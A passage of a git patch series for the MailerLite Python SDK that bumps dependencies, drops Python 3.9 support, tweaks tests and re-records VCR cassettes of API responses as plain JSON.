"sha256:604f31d97fa493083ea21bd9b92c419012531c4e17ea6da0f65cacdcf5d0bd27"}, - {file = "yarl-1.9.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8a854227cf581330ffa2c4824d96e52ee621dd571078a252c25e3a3b3d94a1b1"}, - {file = "yarl-1.9.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ba6f52cbc7809cd8d74604cce9c14868306ae4aa0282016b641c661f981a6e91"}, - {file = "yarl-1.9.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a6327976c7c2f4ee6816eff196e25385ccc02cb81427952414a64811037bbc8b"}, - {file = "yarl-1.9.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8397a3817d7dcdd14bb266283cd1d6fc7264a48c186b986f32e86d86d35fbac5"}, - {file = "yarl-1.9.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e0381b4ce23ff92f8170080c97678040fc5b08da85e9e292292aba67fdac6c34"}, - {file = "yarl-1.9.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23d32a2594cb5d565d358a92e151315d1b2268bc10f4610d098f96b147370136"}, - {file = "yarl-1.9.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ddb2a5c08a4eaaba605340fdee8fc08e406c56617566d9643ad8bf6852778fc7"}, - {file = "yarl-1.9.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:26a1dc6285e03f3cc9e839a2da83bcbf31dcb0d004c72d0730e755b33466c30e"}, - {file = "yarl-1.9.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:18580f672e44ce1238b82f7fb87d727c4a131f3a9d33a5e0e82b793362bf18b4"}, - {file = "yarl-1.9.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:29e0f83f37610f173eb7e7b5562dd71467993495e568e708d99e9d1944f561ec"}, - {file = "yarl-1.9.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:1f23e4fe1e8794f74b6027d7cf19dc25f8b63af1483d91d595d4a07eca1fb26c"}, - {file = "yarl-1.9.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:db8e58b9d79200c76956cefd14d5c90af54416ff5353c5bfd7cbe58818e26ef0"}, - {file = "yarl-1.9.4-cp39-cp39-win32.whl", hash = "sha256:c7224cab95645c7ab53791022ae77a4509472613e839dab722a72abe5a684575"}, - {file = "yarl-1.9.4-cp39-cp39-win_amd64.whl", hash = "sha256:824d6c50492add5da9374875ce72db7a0733b29c2394890aef23d533106e2b15"}, - {file = "yarl-1.9.4-py3-none-any.whl", hash = "sha256:928cecb0ef9d5a7946eb6ff58417ad2fe9375762382f1bf5c55e61645f2c43ad"}, - {file = "yarl-1.9.4.tar.gz", hash = "sha256:566db86717cf8080b99b58b083b773a908ae40f06681e87e589a976faf8246bf"}, -] -zipp = [ - {file = "zipp-3.15.0-py3-none-any.whl", hash = "sha256:48904fc76a60e542af151aded95726c1a5c34ed43ab4134b597665c86d7ad556"}, - {file = "zipp-3.15.0.tar.gz", hash = "sha256:112929ad649da941c23de50f356a2b5570c954b65150642bccdd66bf194d224b"}, -] +lock-version = "2.1" +python-versions = "^3.10" +content-hash = "10054b5c81428242944826132eca79b52f5a8aae7105e4c90a8b2712c5bcde29" diff --git a/pyproject.toml b/pyproject.toml index dec5a06..7fd34b9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -5,7 +5,7 @@ name = "mailerlite" version = "0.1.10" [tool.poetry.dependencies] -python = "^3.9" +python = "^3.10" requests = "^2.28.1" [tool.poetry.dev-dependencies] From 87c2b1292a3f21e65cd77ec7b25003691dc1540b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Igor=20Hr=C4=8Dek?= Date: Fri, 19 Sep 2025 12:52:40 +0200 Subject: [PATCH 8/9] feat: Updated dependencies --- .github/workflows/main.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index c3f9820..3ccf70d 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -8,7 +8,7 @@ jobs: runs-on: ubuntu-latest strategy: matrix: - python-version: ["3.9", "3.10", "3.11", "3.12", "3.13"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v5 From b13615f53750e7740b63be3fb1fab90fb0d67f40 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Igor=20Hr=C4=8Dek?= Date: Fri, 19 Sep 2025 13:57:17 +0200 Subject: [PATCH 9/9] feat: Updated dependencies --- poetry.lock | 53 +- pyproject.toml | 2 +- tests/campaigns_test.py | 4 +- tests/groups_test.py | 2 +- tests/vcr_cassettes/automations-activity.yml | 37 +- tests/vcr_cassettes/automations-get.yml | 64 +- tests/vcr_cassettes/automations-list.yml | 76 +- tests/vcr_cassettes/batches-request.yml | 36 +- tests/vcr_cassettes/campaign-activity.yml | 24 +- tests/vcr_cassettes/campaign-cancel.yml | 59 +- tests/vcr_cassettes/campaign-create.yml | 35 +- tests/vcr_cassettes/campaign-delete.yml | 31 +- tests/vcr_cassettes/campaign-get.yml | 58 +- tests/vcr_cassettes/campaign-languages.yml | 36 +- tests/vcr_cassettes/campaign-list.yml | 115 ++- tests/vcr_cassettes/campaign-schedule.yml | 60 +- tests/vcr_cassettes/campaign-update.yml | 62 +- tests/vcr_cassettes/fields-create.yml | 32 +- tests/vcr_cassettes/fields-delete.yml | 65 +- tests/vcr_cassettes/fields-list.yml | 44 +- tests/vcr_cassettes/fields-update.yml | 37 +- tests/vcr_cassettes/forms-get-subscribers.yml | 22 +- tests/vcr_cassettes/forms-get.yml | 36 +- tests/vcr_cassettes/forms-list.yml | 47 +- tests/vcr_cassettes/forms-update.yml | 36 +- tests/vcr_cassettes/groups-create.yml | 32 +- tests/vcr_cassettes/groups-delete.yml | 61 +- .../groups-get-subscribers-in-group.yml | 37 +- tests/vcr_cassettes/groups-list.yml | 43 +- tests/vcr_cassettes/groups-update.yml | 37 +- .../segments-get-subscribers.yml | 34 +- tests/vcr_cassettes/segments-get.yml | 20 +- tests/vcr_cassettes/segments-list.yml | 26 +- tests/vcr_cassettes/segments-update.yml | 39 +- ...subscribers-assign-subscriber-to-group.yml | 96 +-- tests/vcr_cassettes/subscribers-count.yml | 17 +- tests/vcr_cassettes/subscribers-create.yml | 30 +- tests/vcr_cassettes/subscribers-delete.yml | 34 +- tests/vcr_cassettes/subscribers-forget.yml | 52 +- tests/vcr_cassettes/subscribers-get-email.yml | 24 +- tests/vcr_cassettes/subscribers-get-id.yml | 26 +- .../vcr_cassettes/subscribers-get-import.yml | 22 +- tests/vcr_cassettes/subscribers-list.yml | 49 +- ...cribers-unassign-subscriber-from-group.yml | 113 +-- tests/vcr_cassettes/subscribers-update.yml | 24 +- tests/vcr_cassettes/timezones-list.yml | 686 ++++++++++++++---- tests/vcr_cassettes/webhooks-create.yml | 34 +- tests/vcr_cassettes/webhooks-delete.yml | 65 +- tests/vcr_cassettes/webhooks-get.yml | 39 +- tests/vcr_cassettes/webhooks-list.yml | 45 +- tests/vcr_cassettes/webhooks-update.yml | 39 +- 51 files changed, 1678 insertions(+), 1119 deletions(-) diff --git a/poetry.lock b/poetry.lock index f9c2ee4..7984455 100644 --- a/poetry.lock +++ b/poetry.lock @@ -84,7 +84,7 @@ description = "Foreign Function Interface for Python calling C code." optional = false python-versions = ">=3.9" groups = ["dev"] -markers = "platform_python_implementation != \"PyPy\" and sys_platform == \"linux\"" +markers = "sys_platform == \"linux\" and platform_python_implementation != \"PyPy\"" files = [ {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"}, {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"}, @@ -1066,7 +1066,7 @@ description = "C parser in Python" optional = false python-versions = ">=3.8" groups = ["dev"] -markers = "platform_python_implementation != \"PyPy\" and sys_platform == \"linux\" and implementation_name != \"PyPy\"" +markers = "sys_platform == \"linux\" and implementation_name != \"PyPy\" and platform_python_implementation != \"PyPy\"" files = [ {file = "pycparser-2.23-py3-none-any.whl", hash = "sha256:e5c6e8d3fbad53479cab09ac03729e0a9faf2bee3db8208a550daf5af81a5934"}, {file = "pycparser-2.23.tar.gz", hash = "sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2"}, @@ -1387,18 +1387,6 @@ files = [ {file = "semver-2.13.0.tar.gz", hash = "sha256:fa0fe2722ee1c3f57eac478820c3a5ae2f624af8264cbdf9000c980ff7f75e3f"}, ] -[[package]] -name = "six" -version = "1.17.0" -description = "Python 2 and 3 compatibility utilities" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" -groups = ["dev"] -files = [ - {file = "six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274"}, - {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, -] - [[package]] name = "smmap" version = "5.0.2" @@ -1525,6 +1513,24 @@ files = [ {file = "typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466"}, ] +[[package]] +name = "urllib3" +version = "1.26.20" +description = "HTTP library with thread-safe connection pooling, file post, and more." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +groups = ["main", "dev"] +markers = "platform_python_implementation == \"PyPy\"" +files = [ + {file = "urllib3-1.26.20-py2.py3-none-any.whl", hash = "sha256:0ed14ccfbf1c30a9072c7ca157e4319b70d65f623e91e7b32fadb2853431016e"}, + {file = "urllib3-1.26.20.tar.gz", hash = "sha256:40c2dc0c681e47eb8f90e7e27bf6ff7df2e677421fd46756da1161c39ca70d32"}, +] + +[package.extras] +brotli = ["brotli (==1.0.9) ; os_name != \"nt\" and python_version < \"3\" and platform_python_implementation == \"CPython\"", "brotli (>=1.0.9) ; python_version >= \"3\" and platform_python_implementation == \"CPython\"", "brotlicffi (>=0.8.0) ; (os_name != \"nt\" or python_version >= \"3\") and platform_python_implementation != \"CPython\"", "brotlipy (>=0.6.0) ; os_name == \"nt\" and python_version < \"3\""] +secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress ; python_version == \"2.7\"", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] +socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] + [[package]] name = "urllib3" version = "2.5.0" @@ -1532,6 +1538,7 @@ description = "HTTP library with thread-safe connection pooling, file post, and optional = false python-versions = ">=3.9" groups = ["main", "dev"] +markers = "platform_python_implementation != \"PyPy\"" files = [ {file = "urllib3-2.5.0-py3-none-any.whl", hash = "sha256:e6b01673c0fa6a13e374b50871808eb3bf7046c4b125b216f6bf1cc604cff0dc"}, {file = "urllib3-2.5.0.tar.gz", hash = "sha256:3fc47733c7e419d4bc3f6b3dc2b4f890bb743906a30d56ba4a5bfa4bbff92760"}, @@ -1545,22 +1552,28 @@ zstd = ["zstandard (>=0.18.0)"] [[package]] name = "vcrpy" -version = "4.4.0" +version = "7.0.0" description = "Automatically mock your HTTP interactions to simplify and speed up testing" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "vcrpy-4.4.0-py2.py3-none-any.whl", hash = "sha256:560c9d0d8436ced29223ceefb513c3ac3f2e2a60d51a9830f236a1e63167905a"}, - {file = "vcrpy-4.4.0.tar.gz", hash = "sha256:d1109ae93dbc2e7fcbc485849a7600d5dea510d3bef070eec4419c9a72ca2639"}, + {file = "vcrpy-7.0.0-py2.py3-none-any.whl", hash = "sha256:55791e26c18daa363435054d8b35bd41a4ac441b6676167635d1b37a71dbe124"}, + {file = "vcrpy-7.0.0.tar.gz", hash = "sha256:176391ad0425edde1680c5b20738ea3dc7fb942520a48d2993448050986b3a50"}, ] [package.dependencies] PyYAML = "*" -six = ">=1.5" +urllib3 = [ + {version = "<2", markers = "platform_python_implementation == \"PyPy\""}, + {version = "*", markers = "platform_python_implementation != \"PyPy\" and python_version >= \"3.10\""}, +] wrapt = "*" yarl = "*" +[package.extras] +tests = ["Werkzeug (==2.0.3)", "aiohttp", "boto3", "httplib2", "httpx", "pytest", "pytest-aiohttp", "pytest-asyncio", "pytest-cov", "pytest-httpbin", "requests (>=2.22.0)", "tornado", "urllib3"] + [[package]] name = "wheel" version = "0.45.1" @@ -1809,4 +1822,4 @@ type = ["pytest-mypy"] [metadata] lock-version = "2.1" python-versions = "^3.10" -content-hash = "10054b5c81428242944826132eca79b52f5a8aae7105e4c90a8b2712c5bcde29" +content-hash = "9f08e28249d76eb5bac1927c1ea6ab91819b751643cabd93104049f213d7ead4" diff --git a/pyproject.toml b/pyproject.toml index 7fd34b9..ece6200 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -15,7 +15,7 @@ pytest = "^7.2.0" pytest-mock = "^3.10.0" python-dotenv = "^0.21.0" python-semantic-release = "^7.32.2" -vcrpy = "^4.2.1" +vcrpy = "^7.0.0" [build-system] build-backend = "poetry.core.masonry.api" diff --git a/tests/campaigns_test.py b/tests/campaigns_test.py index e6cbdb6..102147e 100644 --- a/tests/campaigns_test.py +++ b/tests/campaigns_test.py @@ -78,7 +78,7 @@ def test_given_proper_parameters_when_user_calls_create_then_new_campaign_is_cre { "subject": "This is a test campaign", "from_name": "Test Man", - "from": "testuser@mailerlite.com", + "from": "sdk@igor.fail", "content": "

Test

", } ], @@ -113,7 +113,7 @@ def test_given_correct_parameters_when_user_calls_update_then_existing_campaign_ { "subject": "This is a new test campaign subject", "from_name": "Test Man", - "from": "testuser@mailerlite.com", + "from": "sdk@igor.fail", } ], } diff --git a/tests/groups_test.py b/tests/groups_test.py index ca1f771..6eb26a8 100644 --- a/tests/groups_test.py +++ b/tests/groups_test.py @@ -124,7 +124,7 @@ def test_given_correct_group_id_when_calling_get_group_subscribers_then_list_of_ ): # This test requires at least one subscriber assigned to a group response = self.client.groups.get_group_subscribers( - pytest.entity_id, limit=5, page=1 + pytest.entity_id, limit=5, cursor=1 ) assert isinstance(response, dict) diff --git a/tests/vcr_cassettes/automations-activity.yml b/tests/vcr_cassettes/automations-activity.yml index 84138d0..27e82ef 100644 --- a/tests/vcr_cassettes/automations-activity.yml +++ b/tests/vcr_cassettes/automations-activity.yml @@ -16,19 +16,12 @@ interactions: uri: https://connect.mailerlite.com/api/automations/112078014094771336/activity?filter%5Bstatus%5D=active response: body: - string: !!binary | - H4sIAAAAAAAAA7SRwU7DMBBEf6XaQ09WHdNCwAjxB4h7XaElbFoLxw72OiqK8u8obaqAOPe20u5o - 3s708IGMoLc7Ac76zwS6h9rGxKDhwNwmbaSRVfCeKl41aB1FZ5lWVWiMxNYaiZlDg2yDT0YqdVOU - 94XaFA+bslTr9Z2RWLHtLH8/t7inJwUCHF7ZoI3UgfbZOQGejnyeBwENje/2UOUYyfPbqACtBNQx - NBfFiDdvply2PeTo5pN3cqBh6fArh8fFa6TOhpxAwImGQNfoEg1ikl01zTOL+mXOMc/ef5Ff6MiL - ZTxx/8PdCWiRD1fgHVuhOMV6WwjgcCHjwOhAF8PwAwAA//8DAHDbHFqQAgAA + string: '{"data":[],"links":{"first":"https:\/\/connect.mailerlite.com\/api\/automations\/112078014094771336\/activity?page=1","last":"https:\/\/connect.mailerlite.com\/api\/automations\/112078014094771336\/activity?page=1","prev":null,"next":null},"meta":{"current_page":1,"from":null,"last_page":1,"links":[{"url":null,"label":"« + Previous","active":false},{"url":"https:\/\/connect.mailerlite.com\/api\/automations\/112078014094771336\/activity?page=1","label":"1","active":true},{"url":null,"label":"Next + »","active":false}],"path":"https:\/\/connect.mailerlite.com\/api\/automations\/112078014094771336\/activity","per_page":50,"to":null,"total":0}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 84f37bdc2bf22788-PRG + - 9818a331592296e0-BEG Cache-Control: - no-cache, private Connection: @@ -38,19 +31,29 @@ interactions: Content-Type: - application/json Date: - - Fri, 02 Feb 2024 15:31:55 GMT + - Fri, 19 Sep 2025 11:10:35 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '117' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/automations-get.yml b/tests/vcr_cassettes/automations-get.yml index 2474f59..f91fc95 100644 --- a/tests/vcr_cassettes/automations-get.yml +++ b/tests/vcr_cassettes/automations-get.yml @@ -16,36 +16,22 @@ interactions: uri: https://connect.mailerlite.com/api/automations/112078014094771336 response: body: - string: !!binary | - H4sIAAAAAAAAA+xX227jNhD9FYHYYl+UWLIk2xJQbG/oJsEmL02bTeqAoKWxzIQiFV6seAP/e0FJ - lmXH2yTtok99MjyXM4fD4czoCWVEE5Q8IZqhBPn+0BtPPD/04nA89oNghFzESQEoQb/RomTgVMBS - UYADBaEMuQg4mTHIUKKlARdpSfMcJN7AaknSewypKAqQKaBkTpgCF0kogWjr2omWhNEWZ90BKZT8 - uU9uMgkCzxtNLDm9Ki05ZWYqlXQGEt8JyhXOpTAlclH9i2lmcZDveV4cjKLIj31/OB5Nhui2NenH - eW7VJeGjNCVxfOQiIxlK0ELrUiXTwXSQEbWYCSKzY5sYkIxqOE5FMR1suakP0jBQ31/5enxaxNXN - 57NF9jFend4JSq6i+fVVFJ3Sil4PY3PzkXnkKjZWdxOcLbPPP32pdZ/PeLo6HV2tznhaxH56ck4/ - /aro+eWP1fkv918u7n73zy/vH88vT4OLu3x1yvxs/oefofWti+AxZSYD3M/KVpzhLhW3LppJcQ+8 - vR3rnApbABo2V71j4KKKSE553norTbSyBbDxynAvDzgVhmuUeC7qSynHDwYM9NQzYXgKWBIb9wnN - mSCtn5aU5yhB3ndo7aKU0fQea4FFCfxlcwUtvjXv0zGcPhjAO2JuGGssX8njAOCuvEFsOL8IaXiX - o13gTvyK85ak6Cfd/n3RaUFkhpsL6AfuiV8RWMz1AYye+GWMuZCVjfmKYCklDFOuQZJUU7F/h88N - XgK1VyqB2Pq1ajT0huGRNzzyho4fJtEkCQNkU6LwjHAOGU4F13Vxtc/iwRBG5/Rw/fs2GpSHmlzs - Df1xGAe9JrdpuSWRwDW29s2x2uZ0tdealZndQaoPaOZSFChBNBfyh9121SpxC3nYQkLJVliLrxrU - cfBe146D8WQUhuON/vnU6ZuQtM5RAzIJIt/b+Nmhgb8+rrY2bdqI0aIgdTVsczkzlGUg/4NcvPly - SkYoxxoerfIEGBPulE/5tTDOgizBkZACXULmEIdDpRhoDdKxTJ2nd23a1sfW5URUsATpOithZIPv - 2JdXEQlOSvh77WRUlYysnJPL80+NhTp2bKiUcGdJoXL0AvpxZiun7luU584CJCQ20NM7I9n6iVF+ - f0SzpLkX35uEnhdF/iQerq1Ve4r3cnMGi6EXVO3gQ0qMAku5Oa5aiIo79ZMFpR3Kd095IXSntDnh - q0JI+OD8bEnWDB0tnF6zTGq62/8HaAfxOPRG/ihY24tKJQBXC6Hx/sxXWkiSw3EuRM6AlFQ1E39b - A0dbb3VUSpFNB1vJdNAkfDp4/gKmA384CR/HwWjbcY78KPG8xA+PS57bQpFgb+gZrVbeX0So6MTT - Qf2a/i44erHphXYDKrPDJlHiDRPfolCFM1A059sFkRGeG5I3LzisTSrKOciuY3arw5uGtPdtJ7T3 - /3h+43ju+3+Lie39k3H9xkWw2QQzTObaFmAzTZtPlrq4NkVrFCisjFzCqivTWvZg6JdOUkpYALFT - JUGWyn6p7y/Q/+aNhUkUJ5HdPQ7QbfoRJpywlaap2jkZ5TmuiMIZVe2XW0s/A1uupU2z/dwDnjnT - 3eE0Rd2QsmO022LWt+v1XwAAAP//AwAaeo+tSg4AAA== + string: '{"data":{"id":"112078014094771336","name":"Simple welcome email","enabled":false,"trigger_data":{"track_ecommerce":false,"repeatable":false,"valid":true,"complete_workflow":true,"broken_workflow":false},"triggers":[{"id":"112078014883300686","type":"subscriber_joins_group","group_ids":["100093655191127682"],"groups":[{"id":"100093655191127682","name":"Grupa + 1","url":"https:\/\/dashboard.mailerlite.com\/subscribers?rules=W1t7Im9wZXJhdG9yIjoiaW5fYW55IiwiY29uZGl0aW9uIjoiZ3JvdXBzIiwiYXJncyI6WyJncm91cHMiLFsiMTAwMDkzNjU1MTkxMTI3NjgyIl1dfV1d"}],"exclude_group_ids":[],"excluded_groups":[],"broken":false,"complete":true}],"complete":true,"broken":false,"warnings":[],"emails_count":1,"stats":{"completed_subscribers_count":0,"subscribers_in_queue_count":0,"bounce_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"},"sent":0,"opens_count":0,"unique_opens_count":null,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"unique_clicks_count":null,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":null,"social_interaction_rate":{"float":0,"string":"0%"}},"created_at":"2024-02-02 + 14:58:43","has_banned_content":false,"qualified_subscribers_count":1,"automation_template_id":1,"automation_template_name":"Simple + welcome email","steps":[{"id":"112078014902174936","type":"email","parent_id":null,"name":"Welcome + email","subject":"Welcome email","from":"igor@mailerlite.com","from_name":"igor@mailerlite.com","reply_to":"igor@mailerlite.com","email_id":"112078014893786447","email":{"id":"112078014893786447","account_id":"83510","emailable_id":"112078014094771336","emailable_type":"automations","type":"builder","from":"igor@mailerlite.com","from_name":"igor@mailerlite.com","reply_to":"igor@mailerlite.com","name":"Welcome + email","subject":"Welcome email","plain_text":"Hello,\n\nYou have received + a newsletter from {$account}.\n\nHowever, your email software can''t display + HTML emails. You can view the newsletter by clicking here:\n\n{$url}{link-id:112078108400551892}\n\n\n\nYou''re + receiving this newsletter because you have shown interest in {$account}.\nNot + interested anymore? Click here to unsubscribe:\n{$unsubscribe}{link-id:112078108397406163}","screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/emails\/112078014893786447\/1284x7362024-02-02-15:00:14.png","generate_screenshot_timestamp":null,"preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/112078014893786447","created_at":"2024-02-02 + 14:58:44","updated_at":"2025-08-29 10:23:40","is_designed":true,"language_id":4,"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":""},"language_id":4,"complete":false,"created_at":"2024-02-02 + 14:58:44","updated_at":"2025-08-29 10:23:40","track_opens":true,"google_analytics":null,"tracking_was_disabled":false,"broken":false,"has_unsubscribe_url":true,"eligible_for_sending":false,"preheader":"","builder_type":"builder","description":"Send + \"Welcome email\" email","type_count":1}]}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 84f37bd96aad4114-PRG + - 9818a330181cc687-BEG Cache-Control: - no-cache, private Connection: @@ -55,19 +41,29 @@ interactions: Content-Type: - application/json Date: - - Fri, 02 Feb 2024 15:31:54 GMT + - Fri, 19 Sep 2025 11:10:35 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: + x-ratelimit-remaining: - '118' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/automations-list.yml b/tests/vcr_cassettes/automations-list.yml index 42e0f69..50df077 100644 --- a/tests/vcr_cassettes/automations-list.yml +++ b/tests/vcr_cassettes/automations-list.yml @@ -16,39 +16,31 @@ interactions: uri: https://connect.mailerlite.com/api/automations response: body: - string: !!binary | - H4sIAAAAAAAAA+xX62/bNhD/VwSia78osWTLLw1F98KaBE1QYNnShwOCls4yE5pU+LDjGP7fh5Nk - WU7cJWmLYR8GGLB9PP7u+OPxHiuSMstI/HlFeEpiEobtoD8IwigYRv1+2On0iE8kmwGJyR98lgvw - FiASNQMPZowL4hOQbCwgJbHVDnxiNc8y0LTEXRGrWXJNIVGzGegESDxhwoBPNOTALG6tRXMmeIWz - roHMHucGg04nCHoDdM4uc3TOuLFJNB+DpleKS0MzrVxOfFJ8U54iDgmDIBh2et1uOAzDdr83aJPL - SqVp56FWTcJb7XLmhcQnTgsSk6m1uYlHrVErZWY6Vkynh0gMaMEtHCZqNmptfTNvtBNgXl+Etn88 - Gy4+fTiZpm+Hy+MrxdlFd/Lxots95gv+sT10n96KgF0MHa596pzM0w+/3BVrH05ksjzuXSxPZDIb - hsnRKX/3u+Gn5z8vTn+7vju7+jM8Pb++PT0/7pxdZctjEaaTv8KUrC99AreJcCnQJitbcUprKi59 - MtbqGmR1O7g5URgAFjZXvaPgkwXTkstsA4ksGJooJy2JQ59MuDaWFmJqEg0gzVRZep9GY5VmGRxm - SmUCWM5NSeKW1IPtbnOQa5WOWlvJqFUaHrW20TLs9Ae9KOqPWmF7EN32O7120I4OgjZ+wm4cBHEY - HeYyIz4xllmDcbs5bEob17c5TuCTppRLeuPAQWN5rJxMgGqGdK3IRChW7bOay4zEJPiBrH2SCJ5c - U6uoykE+rm6gwkf1pjtO8hsHdEcsnRCl5hP92AO4Ky8RS58fhXSy5mgXuBY/4bw5mzVJx7+Pbpoy - ndLyApqGG+InGFYTuwejIX4cY6L0Am0+wVjCmaBcWtAssVzdv8OHCo+B4pVqYBi/uEy2Ee+FUdwd - xFGHICWGjpmUkNJESVsEV/WabxwTfML3x3+I1iDfl5uHQTvsR8NOIzdvKkXONEhLUb88VpVTL+5V - FOPGV5DYPSsTrWYkJjxT+qfdLFst0gpyv4aGXCypVV9UKLPTvWKzSR+bdWT9yyosKTgqQQadbhhs - 9mGto1+usludijbmrJqxIhq2XI4dFynof4GLZ19OLhiX1MItLh6BEMofyZH8qJw3ZXPwNCTA55B6 - zJOwMAKsBe2hp97qRUXb+hC3HKkFzEH73lI5XeJ7+PIWTIOXMPnKeik3uWBL7+j89F2pYQ49NJUw - 6c05LDw7haad8dIr8haXmTcFDTEaWr1wWqxXgsvrA57G5b2EwSAKgm43HAzba9SqTvFKb86AGHbK - zQ4+JMwZQJfL45qpWkiveLJgrMfl7inPlK0XkRO5nCkNb7xf0cnCQ88qr5Es48Ld7f89bneG/Sjo - hb3OGi/qP1tjcw14Qw/cquTN/omrWjxqFa/pn4yTR5NehI1bnu5X6cZBOw4RhRuaguGZ3Pa1gsnM - sax8wVGhsuBSgq4zZt06PKtIB9+3Qgf/l+dnlufm/u9RsYOvKdfPbATLTjClbGIxAMtqWk5aRXBt - gtYZMNQ4PYdlHaaF7Mbxu1qSa5gCw6oSE3Tlfqjf7/u/5Y1FcXcYd7H32ONumY8ok0wsLU/Mzsm4 - zOiCGZpyUw2clfspYLjmSDNOqSBTb7RbnEakLlJYRusuZn2JYw2m0eLdFhPKTkZKlJSQ2AcTHcv5 - qNWoz29ylsFrnAoF+2YIzHd1h1RUU/y99skMypE6cbpopHBHOVoVrUBYWt+Kq4N9XpWzaoko2Bgw - 7b4U7MapH733mF2VM0XrYvl8M46v/dWDEfdr6CithQ34cr7f69QZ3FrvpS48e+DQJXaQdvpVHiGt - oDfUBD7BxifEL8tE8YtlmYas0o5XhAmUr9frvwEAAP//AwBozF32IxEAAA== + string: '{"data":[{"id":"112078014094771336","name":"Simple welcome email","enabled":false,"trigger_data":{"track_ecommerce":false,"repeatable":false,"valid":true,"complete_workflow":true,"broken_workflow":false},"triggers":[{"id":"112078014883300686","type":"subscriber_joins_group","group_ids":["100093655191127682"],"groups":[{"id":"100093655191127682","name":"Grupa + 